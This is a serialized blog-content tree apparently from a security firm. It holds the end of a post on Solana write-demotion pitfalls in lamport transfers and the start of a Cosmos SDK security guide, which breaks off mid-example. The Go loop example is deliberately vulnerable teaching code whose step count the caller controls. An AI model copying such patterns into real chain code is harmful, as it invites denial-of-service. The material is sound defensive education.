15],{"type":28,"value":20080},{"type":23,"tag":314,"props":74717,"children":74718},{"style":360},[74719],{"type":28,"value":70770},{"type":23,"tag":314,"props":74721,"children":74722},{"style":354},[74723],{"type":28,"value":3746},{"type":23,"tag":314,"props":74725,"children":74726},{"style":2674},[74727],{"type":28,"value":24644},{"type":23,"tag":314,"props":74729,"children":74730},{"style":338},[74731],{"type":28,"value":22160},{"type":23,"tag":314,"props":74733,"children":74734},{"style":2674},[74735],{"type":28,"value":22165},{"type":23,"tag":314,"props":74737,"children":74738},{"style":338},[74739],{"type":28,"value":5393},{"type":23,"tag":314,"props":74741,"children":74742},{"class":316,"line":1351},[74743],{"type":23,"tag":314,"props":74744,"children":74745},{"emptyLinePlaceholder":18},[74746],{"type":28,"value":1088},{"type":23,"tag":314,"props":74748,"children":74749},{"class":316,"line":1387},[74750,74754,74758],{"type":23,"tag":314,"props":74751,"children":74752},{"style":338},[74753],{"type":28,"value":22367},{"type":23,"tag":314,"props":74755,"children":74756},{"style":321},[74757],{"type":28,"value":2979},{"type":23,"tag":314,"props":74759,"children":74760},{"style":338},[74761],{"type":28,"value":19496},{"type":23,"tag":314,"props":74763,"children":74764},{"class":316,"line":1422},[74765,74769,74773,74777,74781,74785,74789],{"type":23,"tag":314,"props":74766,"children":74767},{"style":321},[74768],{"type":28,"value":20080},{"type":23,"tag":314,"props":74770,"children":74771},{"style":360},[74772],{"type":28,"value":41490},{"type":23,"tag":314,"props":74774,"children":74775},{"style":354},[74776],{"type":28,"value":3746},{"type":23,"tag":314,"props":74778,"children":74779},{"style":2674},[74780],{"type":28,"value":22396},{"type":23,"tag":314,"props":74782,"children":74783},{"style":338},[74784],{"type":28,"value":22160},{"type":23,"tag":314,"props":74786,"children":74787},{"style":2674},[74788],{"type":28,"value":22165},{"type":23,"tag":314,"props":74790,"children":74791},{"style":338},[74792],{"type":28,"value":5393},{"type":23,"tag":314,"props":74794,"children":74795},{"class":316,"line":1430},[74796],{"type":23,"tag":314,"props":74797,"children":74798},{"style":338},[74799],{"type":28,"value":386},{"type":23,"tag":24,"props":74801,"children":74802},{},[74803,74805,74811,74813,74819],{"type":28,"value":74804},"This works fine — until one day, ",{"type":23,"tag":94,"props":74806,"children":74808},{"className":74807},[],[74809],{"type":28,"value":74810},"old_king",{"type":28,"value":74812}," is silently demoted. Suddenly, the ",{"type":23,"tag":94,"props":74814,"children":74816},{"className":74815},[],[74817],{"type":28,"value":74818},"#[account(mut)]",{"type":28,"value":74820}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":18130,"props":74822,"children":74824},{"id":74823},"real-world-example-write-demotion-with-secp256r1_program",[74825,74827],{"type":28,"value":74826},"Real-World Example: Write-Demotion with ",{"type":23,"tag":94,"props":74828,"children":74830},{"className":74829},[],[74831],{"type":28,"value":74832},"secp256r1_program",{"type":23,"tag":24,"props":74834,"children":74835},{},[74836,74838,74843],{"type":28,"value":74837},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":94,"props":74839,"children":74841},{"className":74840},[],[74842],{"type":28,"value":74832},{"type":28,"value":74844},", a precompiled program gated behind a feature flag:",{"type":23,"tag":304,"props":74846,"children":74848},{"className":2234,"code":74847,"language":2233,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[74849],{"type":23,"tag":94,"props":74850,"children":74851},{"__ignoreMap":7},[74852,74873,74893,74922],{"type":23,"tag":314,"props":74853,"children":74854},{"class":316,"line":317},[74855,74860,74864,74869],{"type":23,"tag":314,"props":74856,"children":74857},{"style":2674},[74858],{"type":28,"value":74859},"ReservedAccount",{"type":23,"tag":314,"props":74861,"children":74862},{"style":354},[74863],{"type":28,"value":2737},{"type":23,"tag":314,"props":74865,"children":74866},{"style":332},[74867],{"type":28,"value":74868},"new_pending",{"type":23,"tag":314,"props":74870,"children":74871},{"style":338},[74872],{"type":28,"value":2719},{"type":23,"tag":314,"props":74874,"children":74875},{"class":316,"line":370},[74876,74881,74885,74889],{"type":23,"tag":314,"props":74877,"children":74878},{"style":338},[74879],{"type":28,"value":74880}," secp256r1_program",{"type":23,"tag":314,"props":74882,"children":74883},{"style":354},[74884],{"type":28,"value":2737},{"type":23,"tag":314,"props":74886,"children":74887},{"style":332},[74888],{"type":28,"value":2742},{"type":23,"tag":314,"props":74890,"children":74891},{"style":338},[74892],{"type":28,"value":2747},{"type":23,"tag":314,"props":74894,"children":74895},{"class":316,"line":380},[74896,74901,74905,74910,74914,74918],{"type":23,"tag":314,"props":74897,"children":74898},{"style":338},[74899],{"type":28,"value":74900}," feature_set",{"type":23,"tag":314,"props":74902,"children":74903},{"style":354},[74904],{"type":28,"value":2737},{"type":23,"tag":314,"props":74906,"children":74907},{"style":338},[74908],{"type":28,"value":74909},"enable_secp256r1_precompile",{"type":23,"tag":314,"props":74911,"children":74912},{"style":354},[74913],{"type":28,"value":2737},{"type":23,"tag":314,"props":74915,"children":74916},{"style":332},[74917],{"type":28,"value":2742},{"type":23,"tag":314,"props":74919,"children":74920},{"style":338},[74921],{"type":28,"value":2747},{"type":23,"tag":314,"props":74923,"children":74924},{"class":316,"line":1091},[74925],{"type":23,"tag":314,"props":74926,"children":74927},{"style":338},[74928],{"type":28,"value":2414},{"type":23,"tag":24,"props":74930,"children":74931},{},[74932,74934,74939,74941,74947],{"type":28,"value":74933},"Before the ",{"type":23,"tag":94,"props":74935,"children":74937},{"className":74936},[],[74938],{"type":28,"value":74909},{"type":28,"value":74940}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":94,"props":74942,"children":74944},{"className":74943},[],[74945],{"type":28,"value":74946},"secp256r1_program::id()",{"type":28,"value":74948}," as the king in a contract.",{"type":23,"tag":24,"props":74950,"children":74951},{},[74952,74954,74959],{"type":28,"value":74953},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":94,"props":74955,"children":74957},{"className":74956},[],[74958],{"type":28,"value":74946},{"type":28,"value":74960}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":18130,"props":74962,"children":74964},{"id":74963},"fix-3-preventing-write-demotion-pitfalls",[74965],{"type":28,"value":74966},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":74968,"children":74969},{},[74970,74972,74977],{"type":28,"value":74971},"Alright, let’s try to fix this ",{"type":23,"tag":186,"props":74973,"children":74974},{},[74975],{"type":28,"value":74976},"yet another",{"type":28,"value":74978}," edge case — and hopefully close the book on it.",{"type":23,"tag":18130,"props":74980,"children":74982},{"id":74981},"attempt-1-block-known-reserved-accounts",[74983],{"type":28,"value":74984},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":74986,"children":74987},{},[74988],{"type":28,"value":74989},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":304,"props":74991,"children":74993},{"className":39608,"code":74992,"language":39610,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[74994],{"type":23,"tag":94,"props":74995,"children":74996},{"__ignoreMap":7},[74997,75005],{"type":23,"tag":314,"props":74998,"children":74999},{"class":316,"line":317},[75000],{"type":23,"tag":314,"props":75001,"children":75002},{"style":338},[75003],{"type":28,"value":75004}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":314,"props":75006,"children":75007},{"class":316,"line":370},[75008],{"type":23,"tag":314,"props":75009,"children":75010},{"style":1054},[75011],{"type":28,"value":75012},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":75014,"children":75015},{},[75016,75018,75023],{"type":28,"value":75017},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":94,"props":75019,"children":75021},{"className":75020},[],[75022],{"type":28,"value":74859},{"type":28,"value":75024}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":18130,"props":75026,"children":75028},{"id":75027},"attempt-2-use-a-pda-vault",[75029],{"type":28,"value":75030},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":75032,"children":75033},{},[75034,75036,75041],{"type":28,"value":75035},"A more future-proof fix is to avoid ",{"type":23,"tag":721,"props":75037,"children":75038},{},[75039],{"type":28,"value":75040},"transferring lamports to arbitrary accounts",{"type":28,"value":75042}," altogether.",{"type":23,"tag":24,"props":75044,"children":75045},{},[75046],{"type":28,"value":75047},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":61,"props":75049,"children":75051},{"id":75050},"final-thoughts",[75052],{"type":28,"value":75053},"Final Thoughts",{"type":23,"tag":24,"props":75055,"children":75056},{},[75057],{"type":28,"value":75058},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":75060,"children":75061},{},[75062],{"type":28,"value":75063},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":127,"props":75065,"children":75066},{},[75067,75072,75077],{"type":23,"tag":88,"props":75068,"children":75069},{},[75070],{"type":28,"value":75071},"It's not executable.",{"type":23,"tag":88,"props":75073,"children":75074},{},[75075],{"type":28,"value":75076},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":88,"props":75078,"children":75079},{},[75080],{"type":28,"value":75081},"It's not a reserved account.",{"type":23,"tag":24,"props":75083,"children":75084},{},[75085],{"type":28,"value":75086},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":2096,"props":75088,"children":75089},{},[75090],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":75092},[75093,75094,75095,75101],{"id":28263,"depth":370,"text":28266},{"id":70477,"depth":370,"text":70480},{"id":71583,"depth":370,"text":71586,"children":75096},[75097,75098,75100],{"id":71589,"depth":380,"text":71592},{"id":72276,"depth":380,"text":75099},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":73580,"depth":380,"text":73583},{"id":75050,"depth":370,"text":75053},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":75106,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75107,"description":75108,"date":75109,"author":75110,"image":75111,"isFeatured":18,"onBlogPage":18,"tags":75113,"body":75116,"_type":2117,"_id":89000,"_source":2119,"_file":89001,"_stem":89002,"_extension":2122},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":75112,"width":12871,"height":12871},"/posts/cosmos-security/title.png",[75114,75115],"cosmos-sdk","security",{"type":20,"children":75117,"toc":88978},[75118,75122,75127,75132,75138,75143,75148,75153,75414,75902,75921,75926,75931,75936,75942,75947,75982,75992,76499,76519,76532,76538,76543,76548,76789,76794,76802,76814,77176,77181,77186,77222,77231,77657,77678,77684,77704,77725,77744,77776,77788,77800,78454,78482,78491,78931,78958,78978,78983,79004,79053,79062,80294,80322,80328,80333,80338,80358,80645,80679,80860,80865,80870,80914,80923,82115,82366,82379,82385,82419,82424,82487,82492,82512,82531,82543,82562,83254,83259,83264,83292,83301,84186,84213,84219,84239,84244,84257,84431,84444,84535,84540,84548,84558,84708,84713,84733,84741,84746,85144,85156,85161,85202,85213,85233,85541,85546,86471,86483,86491,86496,87489,87494,87506,87526,87545,88459,88516,88622,88634,88639,88644,88672,88681,88907,88933,88946,88960,88964,88969,88974],{"type":23,"tag":61,"props":75119,"children":75120},{"id":28263},[75121],{"type":28,"value":28266},{"type":23,"tag":24,"props":75123,"children":75124},{},[75125],{"type":28,"value":75126},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":75128,"children":75129},{},[75130],{"type":28,"value":75131},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":61,"props":75133,"children":75135},{"id":75134},"its-loopin-time",[75136],{"type":28,"value":75137},"It's Loopin' Time",{"type":23,"tag":24,"props":75139,"children":75140},{},[75141],{"type":28,"value":75142},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":75144,"children":75145},{},[75146],{"type":28,"value":75147},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":75149,"children":75150},{},[75151],{"type":28,"value":75152},"Here is a simple example for reference:",{"type":23,"tag":304,"props":75154,"children":75156},{"code":75155,"language":3728,"meta":7,"className":3729,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[75157],{"type":23,"tag":94,"props":75158,"children":75159},{"__ignoreMap":7},[75160,75176,75193,75209,75231,75260,75281,75305,75326,75333,75354,75371,75388,75395,75407],{"type":23,"tag":314,"props":75161,"children":75162},{"class":316,"line":317},[75163,75167,75172],{"type":23,"tag":314,"props":75164,"children":75165},{"style":321},[75166],{"type":28,"value":30625},{"type":23,"tag":314,"props":75168,"children":75169},{"style":332},[75170],{"type":28,"value":75171}," sumWithStride",{"type":23,"tag":314,"props":75173,"children":75174},{"style":338},[75175],{"type":28,"value":2719},{"type":23,"tag":314,"props":75177,"children":75178},{"class":316,"line":370},[75179,75184,75189],{"type":23,"tag":314,"props":75180,"children":75181},{"style":2674},[75182],{"type":28,"value":75183}," uint64",{"type":23,"tag":314,"props":75185,"children":75186},{"style":360},[75187],{"type":28,"value":75188}," start",{"type":23,"tag":314,"props":75190,"children":75191},{"style":338},[75192],{"type":28,"value":1870},{"type":23,"tag":314,"props":75194,"children":75195},{"class":316,"line":380},[75196,75200,75205],{"type":23,"tag":314,"props":75197,"children":75198},{"style":2674},[75199],{"type":28,"value":75183},{"type":23,"tag":314,"props":75201,"children":75202},{"style":360},[75203],{"type":28,"value":75204}," stride",{"type":23,"tag":314,"props":75206,"children":75207},{"style":338},[75208],{"type":28,"value":1870},{"type":23,"tag":314,"props":75210,"children":75211},{"class":316,"line":1091},[75212,75216,75221,75226],{"type":23,"tag":314,"props":75213,"children":75214},{"style":2674},[75215],{"type":28,"value":75183},{"type":23,"tag":314,"props":75217,"children":75218},{"style":338},[75219],{"type":28,"value":75220},"[] ",{"type":23,"tag":314,"props":75222,"children":75223},{"style":321},[75224],{"type":28,"value":75225},"memory",{"type":23,"tag":314,"props":75227,"children":75228},{"style":360},[75229],{"type":28,"value":75230}," arr\n",{"type":23,"tag":314,"props":75232,"children":75233},{"class":316,"line":1141},[75234,75238,75242,75247,75251,75256],{"type":23,"tag":314,"props":75235,"children":75236},{"style":338},[75237],{"type":28,"value":2343},{"type":23,"tag":314,"props":75239,"children":75240},{"style":321},[75241],{"type":28,"value":60927},{"type":23,"tag":314,"props":75243,"children":75244},{"style":2284},[75245],{"type":28,"value":75246}," returns",{"type":23,"tag":314,"props":75248,"children":75249},{"style":338},[75250],{"type":28,"value":2324},{"type":23,"tag":314,"props":75252,"children":75253},{"style":2674},[75254],{"type":28,"value":75255},"uint64",{"type":23,"tag":314,"props":75257,"children":75258},{"style":338},[75259],{"type":28,"value":367},{"type":23,"tag":314,"props":75261,"children":75262},{"class":316,"line":1173},[75263,75267,75272,75276],{"type":23,"tag":314,"props":75264,"children":75265},{"style":2674},[75266],{"type":28,"value":75183},{"type":23,"tag":314,"props":75268,"children":75269},{"style":338},[75270],{"type":28,"value":75271}," idx ",{"type":23,"tag":314,"props":75273,"children":75274},{"style":354},[75275],{"type":28,"value":1102},{"type":23,"tag":314,"props":75277,"children":75278},{"style":338},[75279],{"type":28,"value":75280}," start;\n",{"type":23,"tag":314,"props":75282,"children":75283},{"class":316,"line":1208},[75284,75288,75293,75297,75301],{"type":23,"tag":314,"props":75285,"children":75286},{"style":2674},[75287],{"type":28,"value":75183},{"type":23,"tag":314,"props":75289,"children":75290},{"style":338},[75291],{"type":28,"value":75292}," sum ",{"type":23,"tag":314,"props":75294,"children":75295},{"style":354},[75296],{"type":28,"value":1102},{"type":23,"tag":314,"props":75298,"children":75299},{"style":1054},[75300],{"type":28,"value":1201},{"type":23,"tag":314,"props":75302,"children":75303},{"style":338},[75304],{"type":28,"value":2278},{"type":23,"tag":314,"props":75306,"children":75307},{"class":316,"line":1216},[75308,75312,75317,75321],{"type":23,"tag":314,"props":75309,"children":75310},{"style":2674},[75311],{"type":28,"value":75183},{"type":23,"tag":314,"props":75313,"children":75314},{"style":338},[75315],{"type":28,"value":75316}," end ",{"type":23,"tag":314,"props":75318,"children":75319},{"style":354},[75320],{"type":28,"value":1102},{"type":23,"tag":314,"props":75322,"children":75323},{"style":338},[75324],{"type":28,"value":75325}," arr.length;\n",{"type":23,"tag":314,"props":75327,"children":75328},{"class":316,"line":1301},[75329],{"type":23,"tag":314,"props":75330,"children":75331},{"emptyLinePlaceholder":18},[75332],{"type":28,"value":1088},{"type":23,"tag":314,"props":75334,"children":75335},{"class":316,"line":1343},[75336,75340,75345,75349],{"type":23,"tag":314,"props":75337,"children":75338},{"style":2284},[75339],{"type":28,"value":63626},{"type":23,"tag":314,"props":75341,"children":75342},{"style":338},[75343],{"type":28,"value":75344}," (idx ",{"type":23,"tag":314,"props":75346,"children":75347},{"style":354},[75348],{"type":28,"value":5060},{"type":23,"tag":314,"props":75350,"children":75351},{"style":338},[75352],{"type":28,"value":75353}," end) {\n",{"type":23,"tag":314,"props":75355,"children":75356},{"class":316,"line":1351},[75357,75362,75366],{"type":23,"tag":314,"props":75358,"children":75359},{"style":338},[75360],{"type":28,"value":75361}," sum ",{"type":23,"tag":314,"props":75363,"children":75364},{"style":354},[75365],{"type":28,"value":2028},{"type":23,"tag":314,"props":75367,"children":75368},{"style":338},[75369],{"type":28,"value":75370}," arr[idx];\n",{"type":23,"tag":314,"props":75372,"children":75373},{"class":316,"line":1387},[75374,75379,75383],{"type":23,"tag":314,"props":75375,"children":75376},{"style":338},[75377],{"type":28,"value":75378}," idx ",{"type":23,"tag":314,"props":75380,"children":75381},{"style":354},[75382],{"type":28,"value":2028},{"type":23,"tag":314,"props":75384,"children":75385},{"style":338},[75386],{"type":28,"value":75387}," stride;\n",{"type":23,"tag":314,"props":75389,"children":75390},{"class":316,"line":1422},[75391],{"type":23,"tag":314,"props":75392,"children":75393},{"style":338},[75394],{"type":28,"value":2610},{"type":23,"tag":314,"props":75396,"children":75397},{"class":316,"line":1430},[75398,75402],{"type":23,"tag":314,"props":75399,"children":75400},{"style":2284},[75401],{"type":28,"value":16228},{"type":23,"tag":314,"props":75403,"children":75404},{"style":338},[75405],{"type":28,"value":75406}," sum;\n",{"type":23,"tag":314,"props":75408,"children":75409},{"class":316,"line":1452},[75410],{"type":23,"tag":314,"props":75411,"children":75412},{"style":338},[75413],{"type":28,"value":386},{"type":23,"tag":304,"props":75415,"children":75419},{"code":75416,"language":75417,"meta":7,"className":75418,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[75420],{"type":23,"tag":94,"props":75421,"children":75422},{"__ignoreMap":7},[75423,75443,75456,75468,75486,75493,75500,75520,75532,75539,75546,75581,75607,75628,75657,75687,75732,75808,75844,75851,75895],{"type":23,"tag":314,"props":75424,"children":75425},{"class":316,"line":317},[75426,75430,75435,75439],{"type":23,"tag":314,"props":75427,"children":75428},{"style":321},[75429],{"type":28,"value":32004},{"type":23,"tag":314,"props":75431,"children":75432},{"style":2674},[75433],{"type":28,"value":75434}," MsgSumWithStrideParams",{"type":23,"tag":314,"props":75436,"children":75437},{"style":321},[75438],{"type":28,"value":20388},{"type":23,"tag":314,"props":75440,"children":75441},{"style":338},[75442],{"type":28,"value":1449},{"type":23,"tag":314,"props":75444,"children":75445},{"class":316,"line":370},[75446,75451],{"type":23,"tag":314,"props":75447,"children":75448},{"style":360},[75449],{"type":28,"value":75450}," Start",{"type":23,"tag":314,"props":75452,"children":75453},{"style":2674},[75454],{"type":28,"value":75455}," uint64\n",{"type":23,"tag":314,"props":75457,"children":75458},{"class":316,"line":380},[75459,75464],{"type":23,"tag":314,"props":75460,"children":75461},{"style":360},[75462],{"type":28,"value":75463}," Stride",{"type":23,"tag":314,"props":75465,"children":75466},{"style":2674},[75467],{"type":28,"value":75455},{"type":23,"tag":314,"props":75469,"children":75470},{"class":316,"line":1091},[75471,75476,75481],{"type":23,"tag":314,"props":75472,"children":75473},{"style":360},[75474],{"type":28,"value":75475}," Arr",{"type":23,"tag":314,"props":75477,"children":75478},{"style":338},[75479],{"type":28,"value":75480}," []",{"type":23,"tag":314,"props":75482,"children":75483},{"style":2674},[75484],{"type":28,"value":75485},"uint64\n",{"type":23,"tag":314,"props":75487,"children":75488},{"class":316,"line":1141},[75489],{"type":23,"tag":314,"props":75490,"children":75491},{"style":338},[75492],{"type":28,"value":386},{"type":23,"tag":314,"props":75494,"children":75495},{"class":316,"line":1173},[75496],{"type":23,"tag":314,"props":75497,"children":75498},{"emptyLinePlaceholder":18},[75499],{"type":28,"value":1088},{"type":23,"tag":314,"props":75501,"children":75502},{"class":316,"line":1208},[75503,75507,75512,75516],{"type":23,"tag":314,"props":75504,"children":75505},{"style":321},[75506],{"type":28,"value":32004},{"type":23,"tag":314,"props":75508,"children":75509},{"style":2674},[75510],{"type":28,"value":75511}," MsgSumWithStrideResponse",{"type":23,"tag":314,"props":75513,"children":75514},{"style":321},[75515],{"type":28,"value":20388},{"type":23,"tag":314,"props":75517,"children":75518},{"style":338},[75519],{"type":28,"value":1449},{"type":23,"tag":314,"props":75521,"children":75522},{"class":316,"line":1216},[75523,75528],{"type":23,"tag":314,"props":75524,"children":75525},{"style":360},[75526],{"type":28,"value":75527}," Sum",{"type":23,"tag":314,"props":75529,"children":75530},{"style":2674},[75531],{"type":28,"value":75455},{"type":23,"tag":314,"props":75533,"children":75534},{"class":316,"line":1301},[75535],{"type":23,"tag":314,"props":75536,"children":75537},{"style":338},[75538],{"type":28,"value":386},{"type":23,"tag":314,"props":75540,"children":75541},{"class":316,"line":1343},[75542],{"type":23,"tag":314,"props":75543,"children":75544},{"emptyLinePlaceholder":18},[75545],{"type":28,"value":1088},{"type":23,"tag":314,"props":75547,"children":75548},{"class":316,"line":1351},[75549,75554,75558,75563,75568,75572,75577],{"type":23,"tag":314,"props":75550,"children":75551},{"style":321},[75552],{"type":28,"value":75553},"func",{"type":23,"tag":314,"props":75555,"children":75556},{"style":338},[75557],{"type":28,"value":2324},{"type":23,"tag":314,"props":75559,"children":75560},{"style":360},[75561],{"type":28,"value":75562},"ms ",{"type":23,"tag":314,"props":75564,"children":75565},{"style":2674},[75566],{"type":28,"value":75567},"msgServer",{"type":23,"tag":314,"props":75569,"children":75570},{"style":338},[75571],{"type":28,"value":2343},{"type":23,"tag":314,"props":75573,"children":75574},{"style":332},[75575],{"type":28,"value":75576},"SumWithStride",{"type":23,"tag":314,"props":75578,"children":75579},{"style":338},[75580],{"type":28,"value":2719},{"type":23,"tag":314,"props":75582,"children":75583},{"class":316,"line":1387},[75584,75589,75594,75598,75603],{"type":23,"tag":314,"props":75585,"children":75586},{"style":360},[75587],{"type":28,"value":75588}," goCtx",{"type":23,"tag":314,"props":75590,"children":75591},{"style":2674},[75592],{"type":28,"value":75593}," context",{"type":23,"tag":314,"props":75595,"children":75596},{"style":338},[75597],{"type":28,"value":282},{"type":23,"tag":314,"props":75599,"children":75600},{"style":2674},[75601],{"type":28,"value":75602},"Context",{"type":23,"tag":314,"props":75604,"children":75605},{"style":338},[75606],{"type":28,"value":1870},{"type":23,"tag":314,"props":75608,"children":75609},{"class":316,"line":1422},[75610,75615,75619,75624],{"type":23,"tag":314,"props":75611,"children":75612},{"style":360},[75613],{"type":28,"value":75614}," msg",{"type":23,"tag":314,"props":75616,"children":75617},{"style":354},[75618],{"type":28,"value":357},{"type":23,"tag":314,"props":75620,"children":75621},{"style":2674},[75622],{"type":28,"value":75623},"MsgSumWithStrideParams",{"type":23,"tag":314,"props":75625,"children":75626},{"style":338},[75627],{"type":28,"value":1870},{"type":23,"tag":314,"props":75629,"children":75630},{"class":316,"line":1430},[75631,75636,75640,75645,75649,75653],{"type":23,"tag":314,"props":75632,"children":75633},{"style":338},[75634],{"type":28,"value":75635},") (",{"type":23,"tag":314,"props":75637,"children":75638},{"style":354},[75639],{"type":28,"value":256},{"type":23,"tag":314,"props":75641,"children":75642},{"style":2674},[75643],{"type":28,"value":75644},"MsgSumWithStrideResponse",{"type":23,"tag":314,"props":75646,"children":75647},{"style":338},[75648],{"type":28,"value":778},{"type":23,"tag":314,"props":75650,"children":75651},{"style":2674},[75652],{"type":28,"value":14106},{"type":23,"tag":314,"props":75654,"children":75655},{"style":338},[75656],{"type":28,"value":367},{"type":23,"tag":314,"props":75658,"children":75659},{"class":316,"line":1452},[75660,75665,75670,75675,75679,75683],{"type":23,"tag":314,"props":75661,"children":75662},{"style":360},[75663],{"type":28,"value":75664}," sum",{"type":23,"tag":314,"props":75666,"children":75667},{"style":354},[75668],{"type":28,"value":75669}," :=",{"type":23,"tag":314,"props":75671,"children":75672},{"style":2674},[75673],{"type":28,"value":75674}," uint64",{"type":23,"tag":314,"props":75676,"children":75677},{"style":338},[75678],{"type":28,"value":341},{"type":23,"tag":314,"props":75680,"children":75681},{"style":1054},[75682],{"type":28,"value":1600},{"type":23,"tag":314,"props":75684,"children":75685},{"style":338},[75686],{"type":28,"value":2414},{"type":23,"tag":314,"props":75688,"children":75689},{"class":316,"line":1497},[75690,75695,75699,75703,75707,75711,75715,75719,75723,75728],{"type":23,"tag":314,"props":75691,"children":75692},{"style":360},[75693],{"type":28,"value":75694}," end",{"type":23,"tag":314,"props":75696,"children":75697},{"style":354},[75698],{"type":28,"value":75669},{"type":23,"tag":314,"props":75700,"children":75701},{"style":2674},[75702],{"type":28,"value":75674},{"type":23,"tag":314,"props":75704,"children":75705},{"style":338},[75706],{"type":28,"value":341},{"type":23,"tag":314,"props":75708,"children":75709},{"style":332},[75710],{"type":28,"value":8389},{"type":23,"tag":314,"props":75712,"children":75713},{"style":338},[75714],{"type":28,"value":341},{"type":23,"tag":314,"props":75716,"children":75717},{"style":360},[75718],{"type":28,"value":57197},{"type":23,"tag":314,"props":75720,"children":75721},{"style":338},[75722],{"type":28,"value":282},{"type":23,"tag":314,"props":75724,"children":75725},{"style":360},[75726],{"type":28,"value":75727},"Arr",{"type":23,"tag":314,"props":75729,"children":75730},{"style":338},[75731],{"type":28,"value":18949},{"type":23,"tag":314,"props":75733,"children":75734},{"class":316,"line":1539},[75735,75739,75744,75748,75753,75757,75762,75766,75770,75774,75779,75783,75787,75791,75795,75799,75804],{"type":23,"tag":314,"props":75736,"children":75737},{"style":2284},[75738],{"type":28,"value":2287},{"type":23,"tag":314,"props":75740,"children":75741},{"style":360},[75742],{"type":28,"value":75743}," idx",{"type":23,"tag":314,"props":75745,"children":75746},{"style":354},[75747],{"type":28,"value":75669},{"type":23,"tag":314,"props":75749,"children":75750},{"style":360},[75751],{"type":28,"value":75752}," msg",{"type":23,"tag":314,"props":75754,"children":75755},{"style":338},[75756],{"type":28,"value":282},{"type":23,"tag":314,"props":75758,"children":75759},{"style":360},[75760],{"type":28,"value":75761},"Start",{"type":23,"tag":314,"props":75763,"children":75764},{"style":338},[75765],{"type":28,"value":16466},{"type":23,"tag":314,"props":75767,"children":75768},{"style":360},[75769],{"type":28,"value":2000},{"type":23,"tag":314,"props":75771,"children":75772},{"style":354},[75773],{"type":28,"value":7971},{"type":23,"tag":314,"props":75775,"children":75776},{"style":360},[75777],{"type":28,"value":75778}," 